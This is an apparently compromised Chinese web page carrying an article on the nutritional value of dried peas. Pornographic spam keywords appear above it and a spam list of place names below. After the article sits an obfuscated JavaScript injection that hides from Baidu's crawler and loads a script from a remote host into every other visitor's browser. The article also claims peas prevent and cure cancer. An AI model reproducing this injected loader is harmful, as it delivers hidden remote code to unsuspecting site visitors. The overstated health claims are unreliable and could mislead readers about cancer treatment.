亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

豌豆的營養(yǎng)價值有哪些

2017-07-07 10:32:41  來源:360常識網   熱度:
導語:干豌豆其實就是一種豆類食物,而我們都知道這些食物中,其實含有比較多的營養(yǎng)價值,對幫助我們治療一些疾病,也可以帶來很好的功效,因為其

干豌豆其實就是一種豆類食物,而我們都知道這些食物中,其實含有比較多的營養(yǎng)價值,對幫助我們治療一些疾病,也可以帶來很好的功效,因為其中富含維生素c,以及人體所需要的其他營養(yǎng)物質,可以幫助我們利尿止瀉,對防癌治癌也有很好的作用,下面就為大家具體分析它的營養(yǎng)價值體現。

用途 1。種子及嫩莢、嫩苗均可食用;種子含淀粉、油脂,藥用有強壯、利尿、止瀉的功效; 2。莖葉能清涼解暑;并作綠肥和飼料。 營養(yǎng)分析 在豌豆莢和豆苗的嫩葉中富含維生素C和能分解體內亞硝胺的酶,可以分解亞硝胺,具有抗癌防癌的作用。豌豆與一般蔬菜有所不同,所含的止杈酸、赤霉素和植物凝素等物質,具有抗菌消炎,增強新陳代謝的功能。在荷蘭豆和豆苗中含有較為豐富的膳食纖維,可以防止便秘,有清腸作用。

1. 增強機體免疫功能: 豌豆中富含人體所需的各種營養(yǎng)物質,尤其是含有優(yōu)質蛋白質,可以提高機體的抗病能力和康復能力。

2. 防癌治癌: 豌豆中富含胡蘿卜素,食用后可防止人體致癌物質的合成,從而減少癌細胞的形成,降低人體癌癥的發(fā)病率。

3. 通利大腸: 豌豆中富含粗纖維,能促進大腸蠕動,保持大便能暢,起到清潔大腸的作用。

很多食物在你看來非常的普通,但是對我們的身體健康,以及一些疾病的治療卻可以帶來驚人的效果,所以在生活當中,保證自己的身體健康,不妨從飲食開始吧,科學地選擇食材,也是保證健康比較有效的方法。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
揭阳市| 通渭县| 韩城市| 江阴市| 德昌县| 聂荣县| 嵊州市| 桐乡市| 绍兴市| 伊通| 大城县| 汉沽区| 玉龙| 育儿| 白银市| 寿阳县| 庄浪县| 思南县| 双牌县| 莆田市| 本溪市| 南宫市| 永德县| 仙桃市| 如皋市| 泰兴市| 青海省| 沅陵县| 朝阳市| 新邵县| 呼伦贝尔市| 时尚| 宁都县| 荃湾区| 仙桃市| 修文县| 无锡市| 蒙阴县| 伊吾县| 马鞍山市| 昌吉市|